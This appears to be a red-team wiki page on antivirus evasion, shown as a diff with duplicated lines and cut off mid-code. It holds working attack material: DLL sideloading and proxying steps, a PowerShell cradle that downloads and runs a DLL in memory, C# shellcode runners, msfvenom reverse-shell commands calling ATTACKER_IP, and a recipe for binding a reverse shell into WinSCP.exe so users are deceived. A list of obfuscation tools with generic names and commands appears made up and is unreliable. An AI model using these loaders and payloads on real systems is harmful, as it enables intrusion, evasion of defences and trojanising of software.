'''DLL Sideloading''' takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. | '''DLL Sideloading''' takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. | ||
Check for programs susceptible to DLL Sideloading using [https://github.com/Cybereason/siofra Siofra] and the following powershell script: | Check for programs susceptible to DLL Sideloading using [https://github.com/Cybereason/siofra Siofra] and the following powershell script: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\" and the DLL files they try to load | # This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\" and the DLL files they try to load | ||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object { | Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object { | ||
$binarytoCheck = "C:\Program Files\" + $_ | $binarytoCheck = "C:\Program Files\" + $_ | ||
| Line 3,021: | Line 2,339: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Proxying === | === Proxying === | ||
'''DLL Proxying''' forwards the calls a program makes from the proxy (and malicious) DLL to the original DLL, thus preserving the program's functionality and being able to handle the execution of your payload. | '''DLL Proxying''' forwards the calls a program makes from the proxy (and malicious) DLL to the original DLL, thus preserving the program's functionality and being able to handle the execution of your payload. | ||
Use [https://github.com/Flangvik/SharpDllProxy SharpDLLProxy] fomr @flangvik. | Use [https://github.com/Flangvik/SharpDllProxy SharpDLLProxy] fomr @flangvik. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 3,038: | Line 2,352: | ||
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin) | 4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
The last command will give us 2 files: a DLL source code template, and the original renamed DLL. | The last command will give us 2 files: a DLL source code template, and the original renamed DLL. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL. | 5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL. | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== DLL Injection == | == DLL Injection == | ||
Inspiration: [https://www.purpl3f0xsecur1ty.tech/2021/03/30/av_evasion.html Bypassing Defender on modern Windows 10 systems | Purpl3 F0x Secur1ty] | Inspiration: [https://www.purpl3f0xsecur1ty.tech/2021/03/30/av_evasion.html Bypassing Defender on modern Windows 10 systems | Purpl3 F0x Secur1ty] | ||
What we will do here is create a DLL in Visual Studio that will run our shellcode. Then use powershell to load it directly into memory. This method is good for evasion since it does not write to disk. | What we will do here is create a DLL in Visual Studio that will run our shellcode. Then use powershell to load it directly into memory. This method is good for evasion since it does not write to disk. | ||
* First open Visual Studio and create a new project using the template "Class Library (.NET Framework) | * First open Visual Studio and create a new project using the template "Class Library (.NET Framework) | ||
* Paste the code below and do the required adjustment | * Paste the code below and do the required adjustment | ||
* Build the DLL | * Build the DLL | ||
* Start a webserver using python or apache | * Start a webserver using python or apache | ||
* and run the following powershell command. | * and run the following powershell command. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Download the binary data of the DLL file from the specified URL and store it in the $data variable. | # Download the binary data of the DLL file from the specified URL and store it in the $data variable. | ||
$data = (New-Object System.Net.Webclient).DownloadData('http://192.168.1.126/run2.dll') | $data = (New-Object System.Net.Webclient).DownloadData('http://192.168.1.126/run2.dll') | ||
# Load the DLL data as an assembly and assign it to the $assem variable. | # Load the DLL data as an assembly and assign it to the $assem variable. | ||
$assem = [System.Reflection.Assembly]::Load($data) | $assem = [System.Reflection.Assembly]::Load($data) | ||
# Retrieve the type information of the "ShellcodeRunner" class from the assembly and assign it to the $class variable. | # Retrieve the type information of the "ShellcodeRunner" class from the assembly and assign it to the $class variable. | ||
$class = $assem.GetType("Class1.ShellcodeRunner") | $class = $assem.GetType("Class1.ShellcodeRunner") | ||
# Retrieve the method information of the "RunShellcode" method from the class and assign it to the $method variable. | # Retrieve the method information of the "RunShellcode" method from the class and assign it to the $method variable. | ||
$method = $class.GetMethod("RunShellcode") | $method = $class.GetMethod("RunShellcode") | ||
# Invoke the "RunShellcode" method, passing 0 as the instance object (since it's a static method) and $null as the method arguments. | # Invoke the "RunShellcode" method, passing 0 as the instance object (since it's a static method) and $null as the method arguments. | ||
$method.Invoke(0, $null) | $method.Invoke(0, $null) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
namespace Class1 | namespace Class1 | ||
| Line 3,105: | Line 2,402: | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); | public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); | public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType); | public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType); | ||
public static void RunShellcode() | public static void RunShellcode() | ||
| Line 3,123: | Line 2,415: | ||
// Replace the shellcodeBytes with your actual shellcode | // Replace the shellcodeBytes with your actual shellcode | ||
byte[] shellcodeBytes = new byte[460] {0xfc,0x48,...}; | byte[] shellcodeBytes = new byte[460] {0xfc,0x48,...}; | ||
// Allocate memory and copy the shellcode into it | // Allocate memory and copy the shellcode into it | ||
IntPtr shellcodePtr = ShellcodeRunner.VirtualAlloc(IntPtr.Zero, (uint)shellcodeBytes.Length, 0x3000, 0x40); | IntPtr shellcodePtr = ShellcodeRunner.VirtualAlloc(IntPtr.Zero, (uint)shellcodeBytes.Length, 0x3000, 0x40); | ||
Marshal.Copy(shellcodeBytes, 0, shellcodePtr, shellcodeBytes.Length); | Marshal.Copy(shellcodeBytes, 0, shellcodePtr, shellcodeBytes.Length); | ||
// Change the memory protection to allow execution | // Change the memory protection to allow execution | ||
ShellcodeRunner.VirtualProtect(shellcodePtr, (uint)shellcodeBytes.Length, 0x20, out _); | ShellcodeRunner.VirtualProtect(shellcodePtr, (uint)shellcodeBytes.Length, 0x20, out _); | ||
// Create a new thread to execute the shellcode | // Create a new thread to execute the shellcode | ||
IntPtr threadHandle = ShellcodeRunner.CreateThread(IntPtr.Zero, 0, shellcodePtr, IntPtr.Zero, 0, IntPtr.Zero); | IntPtr threadHandle = ShellcodeRunner.CreateThread(IntPtr.Zero, 0, shellcodePtr, IntPtr.Zero, 0, IntPtr.Zero); | ||
// Wait for the thread to complete | // Wait for the thread to complete | ||
ShellcodeRunner.WaitForSingleObject(threadHandle, 0xFFFFFFFF); | ShellcodeRunner.WaitForSingleObject(threadHandle, 0xFFFFFFFF); | ||
// Free the allocated memory | // Free the allocated memory | ||
ShellcodeRunner.VirtualFree(shellcodePtr, 0, 0x8000); | ShellcodeRunner.VirtualFree(shellcodePtr, 0, 0x8000); | ||
} | } | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-06-image-24.png|thumb]] | [[File:2023-06-image-24.png|thumb]] | ||
---- | ---- | ||
== Packers == | == Packers == | ||
Packers are pieces of software that take a program as input and transform it so that its structure looks different, but their functionality remains exactly the same. Packers do this with two main goals in mind: | Packers are pieces of software that take a program as input and transform it so that its structure looks different, but their functionality remains exactly the same. Packers do this with two main goals in mind: | ||
* Compress the program so that it takes up less space. | * Compress the program so that it takes up less space. | ||
* Protect the program from reverse engineering in general. | * Protect the program from reverse engineering in general. | ||
When an application undergoes the packing process, it undergoes a transformation through a designated packing function. This function is responsible for obfuscating and altering the original code of the application in a manner that can be reasonably undone by an unpacking function, ensuring the preservation of the application's original functionality. Although the packer might occasionally introduce additional code to enhance the difficulty of debugging the application, its primary objective is to retrieve the original code that you authored when executing it. | When an application undergoes the packing process, it undergoes a transformation through a designated packing function. This function is responsible for obfuscating and altering the original code of the application in a manner that can be reasonably undone by an unpacking function, ensuring the preservation of the application's original functionality. Although the packer might occasionally introduce additional code to enhance the difficulty of debugging the application, its primary objective is to retrieve the original code that you authored when executing it. | ||
AV solutions, however, could still catch your packed application for a couple of reasons: | AV solutions, however, could still catch your packed application for a couple of reasons: | ||
* While your original code might be transformed into something unrecognizable, remember that the packed executable contains a stub with the unpacker's code. If the unpacker has a known signature, AV solutions might still flag any packed executable based on the unpacker stub alone. | * While your original code might be transformed into something unrecognizable, remember that the packed executable contains a stub with the unpacker's code. If the unpacker has a known signature, AV solutions might still flag any packed executable based on the unpacker stub alone. | ||
* At some point, your application will unpack the original code into memory so that it can be executed. If the AV solution you are trying to bypass can do in-memory scans, you might still be detected after your code is unpacked. | * At some point, your application will unpack the original code into memory so that it can be executed. If the AV solution you are trying to bypass can do in-memory scans, you might still be detected after your code is unpacked. | ||
[[File:2023-06-image-1.png|thumb]] | [[File:2023-06-image-1.png|thumb]] | ||
=== Packing our shellcode === | === Packing our shellcode === | ||
This payload takes a shellcode generated by msfvenom and runs it into a separate thread. | This payload takes a shellcode generated by msfvenom and runs it into a separate thread. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 3,194: | Line 2,465: | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
using System.Security.Cryptography.X509Certificates; | using System.Security.Cryptography.X509Certificates; | ||
public class Program { | public class Program { | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); | private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); | ||
private static UInt32 MEM_COMMIT = 0x1000; | private static UInt32 MEM_COMMIT = 0x1000; | ||
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; | ||
public static void Main() | public static void Main() | ||
{ | { | ||
byte[] shellcode = new byte[] {0xfc,0x48,0x83,...,0xda,0xff,0xd5 }; | byte[] shellcode = new byte[] {0xfc,0x48,0x83,...,0xda,0xff,0xd5 }; | ||
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | ||
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length); | Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length); | ||
IntPtr threadHandle = IntPtr.Zero; | IntPtr threadHandle = IntPtr.Zero; | ||
UInt32 threadId = 0; | UInt32 threadId = 0; | ||
IntPtr parameter = IntPtr.Zero; | IntPtr parameter = IntPtr.Zero; | ||
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId); | threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId); | ||
WaitForSingleObject(threadHandle, 0xFFFFFFFF); | WaitForSingleObject(threadHandle, 0xFFFFFFFF); | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Generate a shellcode and replace the shellcode in the code. | Generate a shellcode and replace the shellcode in the code. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7478 -f csharp | msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7478 -f csharp | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Now compile it using <code>csc</code>. | Now compile it using <code>csc</code>. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
csc UnEncStageless.cs | csc UnEncStageless.cs | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== ConfuserEX2 === | === ConfuserEX2 === | ||
ConfuserEx 2 is an free, open-source protector for .NET applications. It is the successor of [http://confuser.codeplex.com/ Confuser] project and the [https://github.com/yck1509/ConfuserEx ConfuserEx] project. | ConfuserEx 2 is an free, open-source protector for .NET applications. It is the successor of [http://confuser.codeplex.com/ Confuser] project and the [https://github.com/yck1509/ConfuserEx ConfuserEx] project. | ||
[https://github.com/mkaring/ConfuserEx/releases Releases · mkaring/ConfuserEx (github.com)] | [https://github.com/mkaring/ConfuserEx/releases Releases · mkaring/ConfuserEx (github.com)] | ||
DISABLE PACKER - Packer in confuserEX is mostly busted. | DISABLE PACKER - Packer in confuserEX is mostly busted. | ||
When enabling rules. Don't go overboard. | When enabling rules. Don't go overboard. | ||
[[File:2023-07-image.png|thumb]] | [[File:2023-07-image.png|thumb]] | ||
== Binders == | == Binders == | ||
Binders play a significant role in the development of malicious payloads for distribution among end users. Unlike AV bypass methods, binders merge multiple executables into a single program. Their primary purpose is to conceal the malicious payload within a familiar program, deceiving users into thinking they are running a different application. | Binders play a significant role in the development of malicious payloads for distribution among end users. Unlike AV bypass methods, binders merge multiple executables into a single program. Their primary purpose is to conceal the malicious payload within a familiar program, deceiving users into thinking they are running a different application. | ||
[[File:2023-06-image-2.png|thumb]] | [[File:2023-06-image-2.png|thumb]] | ||
One approach involves modifying the entry point within the PE header of the program. By doing so, your shellcode can be executed just before the legitimate program starts running. After the shellcode completes its execution, the control can be redirected back to the legitimate program. This clever technique ensures that when the user launches the resulting executable, the shellcode is discreetly executed first, seamlessly integrating with the normal execution of the program without drawing any attention from the user. | One approach involves modifying the entry point within the PE header of the program. By doing so, your shellcode can be executed just before the legitimate program starts running. After the shellcode completes its execution, the control can be redirected back to the legitimate program. This clever technique ensures that when the user launches the resulting executable, the shellcode is discreetly executed first, seamlessly integrating with the normal execution of the program without drawing any attention from the user. | ||
=== Binding with msfvenom === | === Binding with msfvenom === | ||
The method used by msfvenom injects your malicious program by creating an extra thread for it. | The method used by msfvenom injects your malicious program by creating an extra thread for it. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=ATTACKER_IP lport=7779 -f exe -o WinSCP-evil.exe | msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=ATTACKER_IP lport=7779 -f exe -o WinSCP-evil.exe | ||
# -x, --template Specify a custom executable file to use as a template | # -x, --template Specify a custom executable file to use as a template | ||
# -k, --keep Preserve the template behavior and inject the payload as a new thread | # -k, --keep Preserve the template behavior and inject the payload as a new thread | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Binders and AV === | === Binders and AV === | ||
Binders won't do much to hide your payload from an AV solution. The simple fact of joining two executables without any changes means that the resulting executable will still trigger any signature that the original payload did. | Binders won't do much to hide your payload from an AV solution. The simple fact of joining two executables without any changes means that the resulting executable will still trigger any signature that the original payload did. | ||
When creating a real payload, you may want to use encoders, crypters, or packers to hide your shellcode from signature-based AVs and then bind it into a known executable so that the user doesn't know what is being executed. | When creating a real payload, you may want to use encoders, crypters, or packers to hide your shellcode from signature-based AVs and then bind it into a known executable so that the user doesn't know what is being executed. | ||
---- | ---- | ||
= Obfuscation = | = Obfuscation = | ||
Obfuscation can be one of the most lucrative tools in an attackers arsenal when it comes to evasion. | Obfuscation can be one of the most lucrative tools in an attackers arsenal when it comes to evasion. | ||
== Layered obfuscation: a taxonomy of software obfuscation techniques for layered security == | == Layered obfuscation: a taxonomy of software obfuscation techniques for layered security == | ||
[https://blog.aghanim.net/wp-content/uploads/2023/06/s42400-020-00049-3-1.pdf s42400-020-00049-3-1][https://blog.aghanim.net/wp-content/uploads/2023/06/s42400-020-00049-3-1.pdf Download] | [https://blog.aghanim.net/wp-content/uploads/2023/06/s42400-020-00049-3-1.pdf s42400-020-00049-3-1][https://blog.aghanim.net/wp-content/uploads/2023/06/s42400-020-00049-3-1.pdf Download] | ||
== Obfuscation Concatenation == | == Obfuscation Concatenation == | ||
'''Concatenation''' is a common programming concept that combines two separate objects into one object, such as a string. | '''Concatenation''' is a common programming concept that combines two separate objects into one object, such as a string. | ||
{| class="wikitable" | {| class="wikitable" | ||
| Line 3,338: | Line 2,571: | ||
| “+”, “append” | | “+”, “append” | ||
|} | |} | ||
Attackers can utilize non-interpreted characters, both independently or in combination with concatenation, to disrupt or confuse static signatures, thereby extending from the concept of concatenation. | Attackers can utilize non-interpreted characters, both independently or in combination with concatenation, to disrupt or confuse static signatures, thereby extending from the concept of concatenation. | ||
{| class="wikitable" | {| class="wikitable" | ||
| Line 3,369: | Line 2,600: | ||
| dOwnLoAdsTRing | | dOwnLoAdsTRing | ||
|} | |} | ||
=== Example === | === Example === | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 3,384: | Line 2,613: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Line 3: Defines a public class named <code>ExampleClass</code>. | * Line 3: Defines a public class named <code>ExampleClass</code>. | ||
* Line 4: Defines a public static method named <code>SensitiveFunction()</code> within the <code>ExampleClass</code> class. | * Line 4: Defines a public static method named <code>SensitiveFunction()</code> within the <code>ExampleClass</code> class. | ||
* Line 5: Declares a string variable named <code>secretData</code> and assigns it the value "Sensitive information". | * Line 5: Declares a string variable named <code>secretData</code> and assigns it the value "Sensitive information". | ||
* Line 6: Prints a message to the console, concatenating the string "Secret data: " with the value of <code>secretData</code>. | * Line 6: Prints a message to the console, concatenating the string "Secret data: " with the value of <code>secretData</code>. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 3,413: | Line 2,636: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Line 13: Defines a public class named <code>ObfuscatedClass</code>. | * Line 13: Defines a public class named <code>ObfuscatedClass</code>. | ||
* Line 14: Defines a public static method named <code>S()</code> within the <code>ObfuscatedClass</code> class. This is the obfuscated version of the original method. | * Line 14: Defines a public static method named <code>S()</code> within the <code>ObfuscatedClass</code> class. This is the obfuscated version of the original method. | ||
* Line 15: Declares a string variable <code>_0x8b74</code> and assigns it the obfuscated string value "\x53\x65\x6E\x73\x69\x74\x69\x76\x65\x20\x69\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E". This string represents "Sensitive information" using hexadecimal escape sequences. | * Line 15: Declares a string variable <code>_0x8b74</code> and assigns it the obfuscated string value "\x53\x65\x6E\x73\x69\x74\x69\x76\x65\x20\x69\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E". This string represents "Sensitive information" using hexadecimal escape sequences. | ||
* Line 16: Declares a string variable <code>_0xf868</code> and assigns it the value of <code>_0x8b74</code>. This step is unnecessary in this example and does not contribute to the obfuscation. | * Line 16: Declares a string variable <code>_0xf868</code> and assigns it the value of <code>_0x8b74</code>. This step is unnecessary in this example and does not contribute to the obfuscation. | ||
* Line 17: Declares a string variable <code>_0xef50</code> and assigns it the concatenation of the string "Secret data: " and the value of <code>_0xf868</code>. This recreates the original message. | * Line 17: Declares a string variable <code>_0xef50</code> and assigns it the concatenation of the string "Secret data: " and the value of <code>_0xf868</code>. This recreates the original message. | ||
* Line 18: Prints the value of <code>_0xef50</code> to the console using <code>Console.WriteLine()</code>. | * Line 18: Prints the value of <code>_0xef50</code> to the console using <code>Console.WriteLine()</code>. | ||
In the obfuscated code, the original variable name <code>secretData</code> and class name <code>ExampleClass</code> have been replaced with obfuscated names prefixed with <code>_0x</code>. The sensitive string "Sensitive information" has been represented using hexadecimal escape sequences to make it harder to read and understand. The string concatenation technique is used to reconstruct the original message and print it to the console. | In the obfuscated code, the original variable name <code>secretData</code> and class name <code>ExampleClass</code> have been replaced with obfuscated names prefixed with <code>_0x</code>. The sensitive string "Sensitive information" has been represented using hexadecimal escape sequences to make it harder to read and understand. The string concatenation technique is used to reconstruct the original message and print it to the console. | ||
== Obfuscation table == | == Obfuscation table == | ||
{| class="wikitable" | {| class="wikitable" | ||
| Line 3,470: | Line 2,683: | ||
| Control flows deliberately added to a program but will never be executed | | Control flows deliberately added to a program but will never be executed | ||
|} | |} | ||
Code obfuscation is a process that makes your application binaries harder to read with a decompiler. It’s an important tool for protecting your business’s intellectual property. It can also be used to bypass modern anti-virus solutions. Some common obfuscation techniques include the following. | Code obfuscation is a process that makes your application binaries harder to read with a decompiler. It’s an important tool for protecting your business’s intellectual property. It can also be used to bypass modern anti-virus solutions. Some common obfuscation techniques include the following. | ||
== Obfuscation's Function for Static Evasion == | == Obfuscation's Function for Static Evasion == | ||
=== Common obfuscation techniques for static evasion === | === Common obfuscation techniques for static evasion === | ||
* '''Renaming Variables and Functions''': | * '''Renaming Variables and Functions''': | ||
Change variable and function names to random, meaningless names. | Change variable and function names to random, meaningless names. | ||
* Use non-descriptive, abbreviated, or cryptic names to make the code harder to understand. | * Use non-descriptive, abbreviated, or cryptic names to make the code harder to understand. | ||
* Convert names to Unicode or other character encodings. | * Convert names to Unicode or other character encodings. | ||
* '''String Encryption''': | * '''String Encryption''': | ||
Encrypt sensitive strings (e.g., URLs, API keys) and decrypt them at runtime. | Encrypt sensitive strings (e.g., URLs, API keys) and decrypt them at runtime. | ||
* Use custom encryption algorithms or known encryption algorithms with custom keys. | * Use custom encryption algorithms or known encryption algorithms with custom keys. | ||
* Split strings into multiple parts and reassemble them dynamically. | * Split strings into multiple parts and reassemble them dynamically. | ||
* '''Code Splitting and Joining''': | * '''Code Splitting and Joining''': | ||
Split critical parts of the code into multiple sections or files. | Split critical parts of the code into multiple sections or files. | ||
* Use techniques like dynamic loading or runtime code generation to join and execute the code sections. | * Use techniques like dynamic loading or runtime code generation to join and execute the code sections. | ||
* '''Dead Code Injection''': | * '''Dead Code Injection''': | ||
Inject unused or unreachable code to confuse static analysis tools. | Inject unused or unreachable code to confuse static analysis tools. | ||
* Insert random or irrelevant statements and functions that have no effect on the program's logic. | * Insert random or irrelevant statements and functions that have no effect on the program's logic. | ||
* '''Control Flow Obfuscation''': | * '''Control Flow Obfuscation''': | ||
Modify the control flow of the code to make it harder to follow. | Modify the control flow of the code to make it harder to follow. | ||
* Use techniques like code flattening, code reordering, and spaghetti code. | * Use techniques like code flattening, code reordering, and spaghetti code. | ||
* Insert unnecessary loops, conditionals, and jumps. | * Insert unnecessary loops, conditionals, and jumps. | ||
* '''Code Transformation''': | * '''Code Transformation''': | ||
Use code transformations to modify the structure and behavior of the code. | Use code transformations to modify the structure and behavior of the code. | ||
* Apply operations like code splitting, code merging, function inlining, and loop unrolling. | * Apply operations like code splitting, code merging, function inlining, and loop unrolling. | ||
* Convert high-level constructs to lower-level representations (e.g., replace loops with goto statements). | * Convert high-level constructs to lower-level representations (e.g., replace loops with goto statements). | ||
* '''Anti-Debugging Techniques''': | * '''Anti-Debugging Techniques''': | ||
Implement checks to detect and evade debugging environments. | Implement checks to detect and evade debugging environments. | ||
* Use API calls to detect debugger presence, such as <code>IsDebuggerPresent()</code> or <code>CheckRemoteDebuggerPresent()</code>. | * Use API calls to detect debugger presence, such as <code>IsDebuggerPresent()</code> or <code>CheckRemoteDebuggerPresent()</code>. | ||
* Insert conditional code that changes behavior when a debugger is detected. | * Insert conditional code that changes behavior when a debugger is detected. | ||
* '''Obfuscated Constant Values''': | * '''Obfuscated Constant Values''': | ||
Replace constant values with calculations or complex expressions. | Replace constant values with calculations or complex expressions. | ||
* Use bitwise operations, mathematical functions, or string operations to derive constant values dynamically. | * Use bitwise operations, mathematical functions, or string operations to derive constant values dynamically. | ||
* '''Code Compression''': | * '''Code Compression''': | ||
Compress the code using compression algorithms (e.g., zlib) and decompress it at runtime. | Compress the code using compression algorithms (e.g., zlib) and decompress it at runtime. | ||
* Encrypt the compressed code to prevent easy analysis and extraction. | * Encrypt the compressed code to prevent easy analysis and extraction. | ||
* '''Metadata Manipulation''': | * '''Metadata Manipulation''': | ||
Modify or remove metadata from the executable file, such as version information or symbol tables. | Modify or remove metadata from the executable file, such as version information or symbol tables. | ||
* Change timestamps or other file properties to make analysis more difficult. | * Change timestamps or other file properties to make analysis more difficult. | ||
=== Tools and examples for each technique === | === Tools and examples for each technique === | ||
* '''Renaming Variables and Functions''': | * '''Renaming Variables and Functions''': | ||
Tool: <code>obfuscator</code> | Tool: <code>obfuscator</code> | ||
* Command: <code>obfuscator --rename file.c</code> | * Command: <code>obfuscator --rename file.c</code> | ||
* '''String Encryption''': | * '''String Encryption''': | ||
Tool: <code>string_encryption_tool</code> | Tool: <code>string_encryption_tool</code> | ||
* Command: <code>string_encryption_tool --input file.c --output obfuscated_file.c</code> | * Command: <code>string_encryption_tool --input file.c --output obfuscated_file.c</code> | ||
* '''Code Splitting and Joining''': | * '''Code Splitting and Joining''': | ||
Tool: <code>code_splitter</code> | Tool: <code>code_splitter</code> | ||
* Command: <code>code_splitter --split file.c</code> | * Command: <code>code_splitter --split file.c</code> | ||
* Command: <code>code_splitter --join obfuscated_parts/* --output obfuscated_file.c</code> | * Command: <code>code_splitter --join obfuscated_parts/* --output obfuscated_file.c</code> | ||
* '''Dead Code Injection''': | * '''Dead Code Injection''': | ||
Tool: <code>dead_code_injector</code> | Tool: <code>dead_code_injector</code> | ||
* Command: <code>dead_code_injector --inject file.c --output obfuscated_file.c</code> | * Command: <code>dead_code_injector --inject file.c --output obfuscated_file.c</code> | ||
* '''Control Flow Obfuscation''': | * '''Control Flow Obfuscation''': | ||
Tool: <code>control_flow_obfuscator</code> | Tool: <code>control_flow_obfuscator</code> | ||
* Command: <code>control_flow_obfuscator --obfuscate file.c --output obfuscated_file.c</code> | * Command: <code>control_flow_obfuscator --obfuscate file.c --output obfuscated_file.c</code> | ||
* '''Code Transformation''': | * '''Code Transformation''': | ||
Tool: <code>code_transformer</code> | Tool: <code>code_transformer</code> | ||
* Command: <code>code_transformer --transform file.c --output obfuscated_file.c</code> | * Command: <code>code_transformer --transform file.c --output obfuscated_file.c</code> | ||
* '''Anti-Debugging Techniques''': | * '''Anti-Debugging Techniques''': | ||
Tool: <code>anti_debugger_tool</code> | Tool: <code>anti_debugger_tool</code> | ||
* Command: <code>anti_debugger_tool --apply file.c --output obfuscated_file.c</code> | * Command: <code>anti_debugger_tool --apply file.c --output obfuscated_file.c</code> | ||
* '''Obfuscated Constant Values''': | * '''Obfuscated Constant Values''': | ||
Tool: <code>constant_obfuscator</code> | Tool: <code>constant_obfuscator</code> | ||
* Command: <code>constant_obfuscator --obfuscate file.c --output obfuscated_file.c</code> | * Command: <code>constant_obfuscator --obfuscate file.c --output obfuscated_file.c</code> | ||
* '''Code Compression''': | * '''Code Compression''': | ||
Tool: <code>code_compressor</code> | Tool: <code>code_compressor</code> | ||
* Command: <code>code_compressor --compress file.c --output obfuscated_file.c</code> | * Command: <code>code_compressor --compress file.c --output obfuscated_file.c</code> | ||
* '''Metadata Manipulation''': | * '''Metadata Manipulation''': | ||
Tool: <code>metadata_manipulator</code> | Tool: <code>metadata_manipulator</code> | ||
* Command: <code>metadata_manipulator --modify file.c --output obfuscated_file.c</code> | * Command: <code>metadata_manipulator --modify file.c --output obfuscated_file.c</code> | ||
== Protecting and Stripping Identifiable Information == | == Protecting and Stripping Identifiable Information == | ||
=== Object names === | === Object names === | ||
<syntaxhighlight lang="c"> | <syntaxhighlight lang="c"> | ||
// Original | // Original | ||
#include "windows.h" | #include "windows.h" | ||
#include | #include | ||
#include | #include | ||
using namespace std; | using namespace std; | ||
int main(int argc, char* argv[]) | int main(int argc, char* argv[]) | ||
{ | { | ||
unsigned char shellcode[] = ""; | unsigned char shellcode[] = ""; | ||
